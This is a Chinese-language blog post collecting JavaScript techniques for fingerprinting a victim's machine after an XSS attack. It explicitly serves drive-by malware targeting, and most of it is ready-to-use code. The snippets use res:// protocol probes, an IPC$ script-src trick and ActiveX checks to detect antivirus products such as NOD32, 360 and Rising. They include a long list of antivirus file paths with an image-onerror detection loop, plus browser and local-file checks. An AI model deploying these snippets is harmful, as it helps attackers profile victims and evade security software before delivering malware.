XSS检测客户端环境,javascript 检测客户端文件、系统环境。
xss后续利用中,可能需要检测客户端环境,比如浏览器版本,是否安装360、杀毒软件、java版本、某些系统文件等……
可以利用javascript来检测这些,很多年前就开始有网马加入这些功能了,以实现“智能挂马”,这里汇总下……
1、User-Agent
HTTP 头 User-Agent 中可以获取很多信息,可以参阅本站另外几篇文章:
【CSRF】基于图片方式(<img)的 DDOS、CC、会话劫持以及刺探用户信息
2、IE 下面一般可以利用 IPC$、RES 协议或者 activeX 检测
RES:
注意:Microsoft RES 协议生效浏览器范围:IE 4.0 --> IE 6.0
<img src="res://C:\Program Files\ESET\ESET NOD32 Antivirus\egui.exe/gif/120" onerror="javascript:alert('no nod32')">
IPC$:
<script type="text/javascript"> window.onerror = function(){alert("nod32");} </script> <script src="\\127.0.0.1\c$\Program Files\ESET\ESET NOD32 Antivirus\egui.exe"></script>
activeX:
<script type="text/javascript"> var Is360; var bFilter360=false; if(bFilter360) { try { var g; var glworld=new ActiveXObject("360SafeLive.Update"); } catch(g){}; finally { if(g=="[object Error]") { Is360 = "Not find 360"; } else { Is360 = "Find 360"; //window.location="about:blank"; } } } </script>
利用UA和javascript的navigator对象及res协议就可以实现IP、操作系统、浏览器版本、flash版本、java版本、是否装特定软件等的检测。
收集一些常用软件的clsid再javascript检测。
示例程序若干:
JavaScript 利用 User-Agent 判断浏览器类型:
<HTML> <SCRIPT LANGUAGE="JavaScript"> <!-- function CheckBrowser() { //判断浏览器类型 if (navigator.userAgent.indexOf("MSIE") > 0) { return "MSIE"; } if (isFirefox = navigator.userAgent.indexOf("Firefox") > 0) { return "Firefox"; } if (isSafari = navigator.userAgent.indexOf("Safari") > 0) { return "Safari"; } if (isCamino = navigator.userAgent.indexOf("Camino") > 0) { return "Camino"; } if (isMozilla = navigator.userAgent.indexOf("Gecko") > 0) { return "Gecko"; } } document.write("<font color=#ff0000>您的浏览器类型为:" + CheckBrowser() + "</font><br>"); --> </SCRIPT> </HTML>
利用RES协议检测杀毒软件是否存在:
<HTML> <SCRIPT LANGUAGE="JavaScript"> <!-- //利用RES协议检测杀毒软件是否存在 //Microsoft RES 协议生效浏览器范围:IE 4.0 --> IE 6.0 function ErrorSilent() { //屏蔽错误 return true; } window.onerror = ErrorSilent; //屏蔽错误 function CheckSoft() { Soft_List = [ //待检测的软件列表 'res://cmd.exe/16/1', 'res://shell32.dll/2/131', 'res://C:\\WINDOWS\\explorer.exe/2/143', 'res://C:\\Program%20Files\\Internet%20Explorer\\Connection%20Wizard\\icwconn1.exe/2/210', 'res://C:\\Program%20Files\\QQ\\QQRes.dll/2/108', 'res://C:\\360safe\\360Safe.exe/GIF/172', 'res://C:\\360safe\\safemon\\loadwdui.dll/PNG/130', 'res://C:\\Program%20Files\\360\\360Safe\\360hotfix.exe/GIF/172', 'res://C:\\Program%20Files\\360\\360Safe\\360Safe.exe/GIF/172', 'res://C:\\Program%20Files\\360\\360Safe\\safemon\\loadwdui.dll/PNG/130', 'res://C:\\program%20files\\360safe\\360hotfix.exe/GIF/172', 'res://C:\\program%20files\\360safe\\360Safe.exe/GIF/172', 'res://C:\\program%20files\\360safe\\safemon\\loadwdui.dll/PNG/130', 'res://C:\\Program%20Files\\Rising\\Rav\\rssafety.exe/PNG/123', 'res://D:\\360safe\\360Safe.exe/GIF/172', 'res://D:\\360safe\\safemon\\loadwdui.dll/PNG/130', 'res://D:\\Program%20Files\\360\\360Safe\\360hotfix.exe/GIF/172', 'res://D:\\Program%20Files\\360\\360Safe\\360Safe.exe/GIF/172', 'res://D:\\Program%20Files\\360\\360Safe\\safemon\\loadwdui.dll/PNG/130', 'res://D:\\program%20files\\360safe\\360hotfix.exe/GIF/172', 'res://D:\\program%20files\\360safe\\360Safe.exe/GIF/172', 'res://D:\\program%20files\\360safe\\safemon\\loadwdui.dll/PNG/130', 'res://D:\\Program%20Files\\Rising\\Rav\\rssafety.exe/PNG/123', 'res://E:\\Program%20Files\\360\\360Safe\\360hotfix.exe/GIF/172', 'res://E:\\Program%20Files\\360\\360Safe\\360Safe.exe/GIF/172', 'res://E:\\Program%20Files\\360\\360Safe\\safemon\\loadwdui.dll/PNG/130', 'res://E:\\program%20files\\360safe\\360Safe.exe/GIF/172', 'res://E:\\program%20files\\360safe\\safemon\\loadwdui.dll/PNG/130', 'res://E:\\Program%20Files\\Rising\\Rav\\rssafety.exe/PNG/123', 'res://F:\\Program%20Files\\360\\360Safe\\360hotfix.exe/GIF/172', 'res://F:\\Program%20Files\\360\\360Safe\\360Safe.exe/GIF/172', 'res://F:\\Program%20Files\\360\\360Safe\\360Safe.exe/GIF/172', 'res://F:\\Program%20Files\\360\\360Safe\\safemon\\loadwdui.dll/PNG/130', 'res://F:\\program%20files\\360safe\\360Safe.exe/GIF/172', 'res://F:\\Program%20Files\\Rising\\Rav\\rssafety.exe/PNG/123' ]; for (i = 0; i < Soft_List.length; i++) { SoftExist = 1; //设置初始值 Tmp = new Image(); //新建Image对象 Tmp.src = ""; //初始化地址 Tmp.onerror = function() { //对象错误事件 SoftExist = 0; } Tmp.src = Soft_List[i]; //设置连接 if (SoftExist == 1) { //如果检测到软件存在 document.write("<font color=#ff0000>"+Soft_List[i]+" √</font><br>"); } else { document.write("<font color=#0000ff>"+Soft_List[i]+" ×</font><br>"); } delete Tmp; //删除创建的Image对象 } return 0; } CheckSoft(); /* if (CheckSoft() == 1) { //检测到杀软 document.write("检测到杀软"); } else { //未检测到杀软 document.write("未检测到杀软"); } */ --> </SCRIPT> </HTML>
JavaScript 判断是否运行在本地文件:
<script type="text/javascript"> //判断协议 if (document.location.protocol == 'file:') { alert("本地文件!"); } </script>
留言评论(旧系统):